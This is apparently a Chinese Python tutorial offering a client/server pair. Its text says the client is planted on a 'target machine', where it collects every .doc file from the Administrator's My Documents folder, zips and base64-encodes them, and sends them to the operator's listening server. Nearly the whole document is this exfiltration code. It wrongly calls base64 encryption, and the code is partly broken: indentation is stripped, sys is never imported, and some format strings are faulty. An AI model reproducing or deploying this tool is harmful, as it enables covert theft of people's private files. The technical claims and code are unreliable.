本文實例講述了python實現獲取客戶機上指定文件并傳輸到服務器的方法。分享給大家供大家參考。具體分析如下：
該程序實現了，把目標機器的某個目錄（可控）的所有的某種類型文件（可控）全部獲取并傳到己方的機器上。
1、用了base64的encode(infile,outfile)加密，以及decode(infile,outfile)解密，這是2進制加密解密
2、用zip壓縮
3、socket中server.py放到自己這方python server.py，然后client.py放到目標機器，然后python client.py即可
4、本程序設置了獲取doc文件，修改extName可以獲取其它類型文件
服務器端程序：
# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 6553500 #6M
key = 'ouyang'
timeout = 5
dicName = "ouyang//"
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print "wating for conntecting..."
while True:
try:
cs,addr = ss.accept()
socket.setdefaulttimeout(timeout)
cs.send("200 Connected!")
#獲取加密數據
encode_data = cs.recv(BUF_SIZE)
#把數據寫到out.zip文件
tmpfile = open('out.tmp','wb')
try:
tmpfile.write(encode_data)
tmpfile.close()
except IOError,e:
print 'Strange error creating IOError:%s' % e
tmpfile.close()
finally:
tmpfile.close()
#base64 decode 2進制 解密 decode(infile,outfile)
tmpfile = open('out.tmp','rb')
outfile = open('out.zip','wb')
base64.decode(tmpfile,outfile)
tmpfile.close()
outfile.close()
#打開zip文件
zfile = zipfile.ZipFile('out.zip','r')
#創建一個文件夾來存放獲取的zip文件
if not os.path.exists(dicName):
os.mkdir(dicName)
for f in zfile.namelist():
data = zfile.read(f)
file = open(dicName+os.path.basename(f),'w+b')
file.write(data)
file.close()
print "finished!!!"
zfile.close()
#后續處理 刪除臨時文件
os.remove('out.tmp')
cs.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
cs.close()
ss.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
ss.close()
if __name__=='__main__':
main()
客戶端程序：
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 65535
key = 'ouyang'
dicName = "C:/Documents and Settings/Administrator/我的文檔"
extName = '.doc'
#遍歷搜索我的文檔的doc類型
try:
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print "文件處理錯誤: " % e
sys.exit(-1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
cs.connect((HOST,PORT))
print cs.recv(BUF_SIZE)
#壓縮成zip文件
zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2進制 加密 encode(infile,outfile)
infile = open('in.zip','rb')
tmpfile = open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile = open('in.tmp','rb')
cs.send(tmpfile.read())
tmpfile.close()
#后續處理 刪除中間文件
os.remove('in.tmp')
cs.close()
except socket.error ,e:
print 'socket 出錯啦：' % e
cs.close()
if __name__=='__main__':
main()
希望本文所述對大家的Python程序設計有所幫助。
